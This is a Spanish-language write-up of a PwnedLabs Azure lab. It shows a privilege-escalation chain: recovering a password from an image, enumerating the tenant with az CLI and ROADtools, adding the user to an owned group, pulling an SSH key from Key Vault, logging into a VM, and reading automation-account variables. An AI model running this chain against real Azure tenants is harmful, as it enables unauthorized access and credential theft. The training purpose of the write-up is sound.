Unmask Privileged Access in Azure
Azure PwnedLabs
Bajamos el archivo llamado rate_my_setup.jpg
En la esquina despues de usar gimp vemos la contrasena, SUMMERDAZE1!

az logout
Disconnect-AzAccount
az login -u matteus@megabigtech.com -p 'SUMMERDAZE1!

az account show | jq -r "{homeTenantId}"

az resource list

Por alguna razon no Kali no me dejo instalarlo con pip install roadrecon
git clone https://github.com/dirkjanm/ROADtools.git
sudo python setup.py install
cd frontend
npm install
npm run build

npm start

Adquirimos tokens de autenticacon para el usuario que estamos tratando de hacernos pasar como matteus.
roadrecon auth -u matteus@megabigtech.com -p SUMMERDAZE1!

roadrecon gather

Corremos para mostrarlo en una pantalla en localhost:5000
roadrecon gui
Por alguna razon esto no me funciono en Kali.
az vm show -d -g mbt-rg-5 -n AUTOMAT01 --query publicIps -o tsv

Ahora utilizamos la acción auth para obtener tokens de autenticación para nuestro usuario.
A continuación, ejecute roadrecon gather para recopilar toda la información de Azure que el usuario tiene permitido ver.
Por último, inicie el servidor web roadrecon con la interfaz gráfica de usuario para que podamos examinar visualmente el entorno Azure.


Nos dirigimos a la pestana de usuarios y buscamos a Matteus

Vemos que su ObjectId es 0dd32296-20f5-447c-b879-c57922db1ff0 y su cargo es Administrador de Azure (Nivel 1). Se les ha asignado la función Lectores de directorio, que les permite leer información básica de Entra ID.

Al hacer clic en la pestana de Objetos , vemos que son propietarios del grupo DEVICE-ADMINS. Este grupo permite al soporte técnico de escritorio acceder a los recursos.

Al hacer clic en la pestana Raw, vemos que el ObjectID del grupo es aff1bca2-0c41-44e9-8e2c-8d6ca50fec45 .

Como propietarios del grupo, podemos administrar al grupo y agregarnos como miembros.
Disconnect-AzAccount
az logout
Connect-AzAccount
az login




Via CLI

Via GUI

En Inicio -> Grupos


Matteus Lundgren: Al usuario se le ha asignado el rol de lector restringido a la máquina virtual denominada AUTOMAT01 en el grupo de recursos mbt-rg-5. Esto se reveló anteriormente con Get-Resource . Grupo DEVICE-ADMINS: Al grupo se le ha concedido acceso a los recursos del grupo de recursos mbt-rg-5: Acceso a Key Vault: Los miembros de este grupo pueden acceder a los secretos del almacén de claves denominado Devices-new. Esto les permite manejar información confidencial, como contraseñas o claves de cifrado almacenadas en este almacén de claves. Acceso a la interfaz de red y a la IP pública: Los miembros de este grupo pueden acceder a la información de red de la máquina virtual AUTOMAT01 .
az keyvault secret list --vault-name Devices-new

batcat vaultEnum.sh

bash vaultEnum.sh

Si quieres ser especifico hacemos el siguiente comando:
az keyvault secret show --vault-name Devices-new --name AUTOMAT01

Bajamos la llave a nuestra maquina de kali.
az keyvault secret download --vault-name Devices-new --name AUTOMAT01 --file AUTOMAT01.pem

Vemos que el archivo tiene un permiso por defecto de 664.
Cambiemoslo a 600.

Por alguna razon no me funciono el siguiente comando para ver la ip publica de la maquina virtual:
az vm show -d -g mbt-rg-5 -n AUTOMAT01 --query publicIps -o tsv
Connect-AzAccount --AccountId "matteus@megabigtech.com"

Yo honestamente trate de correr esto por el az cli pero no pude conseguir la ip publica. Por alguna razon el comando -d trae los discos pero aunque lo elimine siempre me dio el error. Entonces tuve que buscar la ip por el gui.

Vemos que la ip es 13.68.147.240 y el usuario parece ser automation.

ssh -i AUTOMAT01.pem automation@13.68.147.240

Ahora corremos el siguiente comando para ver que alguien trato de iniciar sesion.
cat .bash_history

Cerramos sesion y iniciamos sesion con el nuevo usuario.
az logout
Disconnect-AzAccount

Connect-AzAccount


A continuación, se enumeró el acceso a una cuenta de automatización denominada automation-dev y un libro de ejecución denominado Schedule-VMStartStop mediante Get-AzResource.
Get-AzResource

Lo mismo pero con az resource.
az resource list --query "[].{name:name}" -o table

Install-Module Az.Automation

Podemos utilizar Get-AzAutomationAccount para recuperar detalles clave sobre la cuenta de automatización y confirmar si el acceso público está habilitado o no.

Nos damos cuenta que tenemos PublicNetworkAccess esta seteado como Verdadero, entonces podemos exportar el Runbook con el siguiente comando Export-AzAutomationRunbook.

Aunque no se puede acceder directamente a la contraseña real, las credenciales siguen estando disponibles para su uso dentro de los Runbooks con el fin de realizar tareas que requieren autenticación, como la gestión de recursos o la ejecución de scripts. Esto garantiza que la automatización pueda acceder de forma segura a los recursos necesarios sin intervención manual.

Get-AzRoleAssignment -Scope "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94" | Select-Object DisplayName, RoleDefinitionName

Get-AzAutomationVariable -ResourceGroupName "mbt-rg-5" -AutomationAccountName "automation-dev" | fl Name, Value, Description
Azure Automation deja que algunas variables sean accesibles globalmente para Runbooks. Las variables confidenciales, como claves y contraseñas, deben ser encriptadas por motivos de seguridad. Sin embargo, en este caso, parece que una variable confidencial se almacenó ser encriptada, lo que supone un riesgo para la seguridad. Este descuido podría permitir el acceso no autorizado a información crítica, por eso la importancia de aplicar prácticas de seguridad adecuadas en las cuentas de automatización.